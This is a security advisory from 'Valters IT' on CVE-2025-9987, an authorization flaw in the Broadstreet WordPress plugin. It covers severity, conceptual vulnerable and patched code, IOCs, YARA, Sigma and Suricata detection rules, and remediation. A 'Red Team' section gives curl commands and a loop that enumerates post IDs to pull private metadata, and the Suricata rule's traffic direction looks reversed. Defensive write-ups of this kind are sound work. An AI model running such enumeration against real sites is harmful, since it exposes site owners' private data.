CVE-2025-9987

Executive Summary

CVE-2025-9987 is a Sensitive Information Exposure vulnerability in the Broadstreet WordPress plugin (versions up to and including 1.53.1). The flaw resides in the get_sponsored_meta() AJAX action, which fails to properly enforce access controls. This allows authenticated attackers with subscriber-level access or higher to extract sensitive data from password-protected and private business details stored by the plugin.

This vulnerability is particularly dangerous in a WordPress ecosystem because subscriber accounts are often considered low-risk and can be easily compromised or created on sites with open registration. The exposed data could include confidential business information, internal notes, or other proprietary details that were intended to be restricted.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. There is no known supply chain compromise (e.g., malicious code injection in the plugin source). However, the lack of a patch from the vendor (Broadstreet) means that all existing installations remain vulnerable, creating a persistent risk for any site using this plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (Exposure of specific sensitive data)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation (low privileges, no user interaction) and the potential for data leakage make this a significant concern for WordPress sites using the Broadstreet plugin.

Deep Dive & Mechanics

The vulnerability is a classic case of Insecure Direct Object Reference (IDOR) combined with Missing Authorization. The Broadstreet plugin registers an AJAX action get_sponsored_meta() intended for internal use. This action is hooked into WordPress's AJAX API for authenticated users (wp_ajax_*).

The core issue is that the function handling this AJAX request does not verify if the current user has the appropriate capabilities (e.g., edit_posts, manage_options) to view the requested metadata. It only checks if the user is logged in (authenticated). As a result, any authenticated user, including subscribers, can call this AJAX endpoint and retrieve metadata associated with sponsored content, including data from password-protected and private business details.

The function likely retrieves post metadata using get_post_meta() without first checking the post's visibility status or the user's permissions. This allows an attacker to enumerate and extract sensitive information that should be hidden from lower-privileged users.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (Conceptual):

add_action('wp_ajax_get_sponsored_meta', 'broadstreet_get_sponsored_meta');

function broadstreet_get_sponsored_meta() {
    // Missing capability check
    $post_id = intval($_POST['post_id']);
    $meta_key = sanitize_text_field($_POST['meta_key']);
    $meta_value = get_post_meta($post_id, $meta_key, true);
    wp_send_json_success($meta_value);
}

Patched Code (Conceptual):

add_action('wp_ajax_get_sponsored_meta', 'broadstreet_get_sponsored_meta');

function broadstreet_get_sponsored_meta() {
    // Added capability check
    if (!current_user_can('edit_posts')) {
        wp_die('Unauthorized', 403);
    }
    $post_id = intval($_POST['post_id']);
    $meta_key = sanitize_text_field($_POST['meta_key']);
    // Additional check for post visibility
    $post = get_post($post_id);
    if ($post && ($post->post_status === 'private' || $post->post_password !== '')) {
        if (!current_user_can('read_private_posts')) {
            wp_die('Unauthorized', 403);
        }
    }
    $meta_value = get_post_meta($post_id, $meta_key, true);
    wp_send_json_success($meta_value);
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A WordPress site with the Broadstreet plugin (<= 1.53.1) installed and activated.
• An authenticated user session with at least subscriber-level privileges (e.g., a valid WordPress cookie or nonce).

Exploitation Steps:

1. Obtain a valid AJAX nonce. The plugin likely uses a nonce for AJAX requests. This can be extracted from the page source or by inspecting network traffic while logged in as a subscriber.

2. Craft the AJAX request. Use a tool like curl or a browser's developer console to send a POST request to the WordPress AJAX handler.

   curl -X POST \
     'https://target-site.com/wp-admin/admin-ajax.php' \
     -H 'Cookie: wordpress_logged_in_...' \
     -d 'action=get_sponsored_meta&post_id=123&meta_key=_broadstreet_sponsored_data&_ajax_nonce=...'
   

3. Iterate through post IDs and meta keys. The attacker can brute-force post IDs and common meta keys to extract sensitive data.

   for post_id in $(seq 1 100); do
     curl -s -X POST \
       'https://target-site.com/wp-admin/admin-ajax.php' \
       -H 'Cookie: wordpress_logged_in_...' \
       -d "action=get_sponsored_meta&post_id=$post_id&meta_key=_broadstreet_sponsored_data&_ajax_nonce=..."
   done
   

Expected Output: The AJAX response will contain the sensitive metadata in JSON format.

Blue Team (Defender)

Detection & Response:

1. Monitor AJAX requests. Look for unusual patterns in admin-ajax.php requests, especially a high volume of requests to the get_sponsored_meta action from low-privileged user roles.

2. Audit user roles. Review all subscriber accounts for suspicious activity. Disable open registration if not required.

3. Implement a Web Application Firewall (WAF) rule. Block or flag requests to admin-ajax.php with action=get_sponsored_meta from non-admin users.

4. Apply a virtual patch. If possible, use a security plugin (e.g., Wordfence, Sucuri) to add a capability check to the vulnerable AJAX action.

5. Remove or disable the plugin. Since no patch is available, the most effective mitigation is to deactivate and delete the Broadstreet plugin.

Indicators of Compromise (IOCs)

• Network:

  • Repeated POST requests to /wp-admin/admin-ajax.php with the parameter action=get_sponsored_meta.
  • User-Agent strings from automated tools (e.g., curl, python-requests).
  • Source IP addresses making sequential requests with varying post_id values.

• Host/Application:

  • WordPress debug log entries showing AJAX calls to get_sponsored_meta from subscriber-level users.
  • Unusual database queries for postmeta table from the wp_ajax_get_sponsored_meta hook.
  • Presence of the Broadstreet plugin (check wp-content/plugins/broadstreet/).

• Logs:

  • Web server access logs showing POST /wp-admin/admin-ajax.php HTTP/1.1 with action=get_sponsored_meta in the request body.

Detection Engineering

YARA Rule

rule Detect_Broadstreet_Sensitive_Info_Exposure {
    meta:
        description = "Detects exploitation attempts of CVE-2025-9987 in Broadstreet WordPress plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9987"
    strings:
        $ajax_action = "action=get_sponsored_meta"
        $wp_ajax = "admin-ajax.php"
        $post_id = "post_id="
        $meta_key = "meta_key="
    condition:
        all of them
}

Sigma Rule

title: Broadstreet Plugin Sensitive Information Exposure
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2025-9987 via AJAX requests
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    definition: 'WordPress site with Broadstreet plugin'
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=get_sponsored_meta'
    condition: selection
falsepositives:
    - Legitimate plugin functionality (if any)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-9987 Broadstreet Plugin Sensitive Information Exposure";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=get_sponsored_meta"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Broadstreet plugin until a patch is released. This is the most effective mitigation.
2. Audit all subscriber accounts for suspicious activity. Remove any accounts that are not needed.
3. Review server logs for signs of exploitation (see IOCs).

Long-Term Measures:

1. Monitor the Broadstreet plugin page for an official update. Apply the patch as soon as it becomes available.
2. Implement a Web Application Firewall (WAF) with rules to block unauthorized AJAX requests.
3. Enforce the principle of least privilege for all WordPress user roles. Subscribers should not have access to AJAX actions that expose sensitive data.
4. Conduct regular security audits of all installed plugins and themes.

Workaround (if plugin cannot be disabled):

• Use a WordPress security plugin to add a capability check to the get_sponsored_meta AJAX action. For example, add the following code to your theme's functions.php file:

add_action('wp_ajax_get_sponsored_meta', 'custom_broadstreet_check', 1);
function custom_broadstreet_check() {
    if (!current_user_can('edit_posts')) {
        wp_die('Unauthorized', 403);
    }
}

Note: This workaround may break legitimate plugin functionality if it relies on lower-privileged users accessing this AJAX action.

Valters IT
Securing Digital Frontiers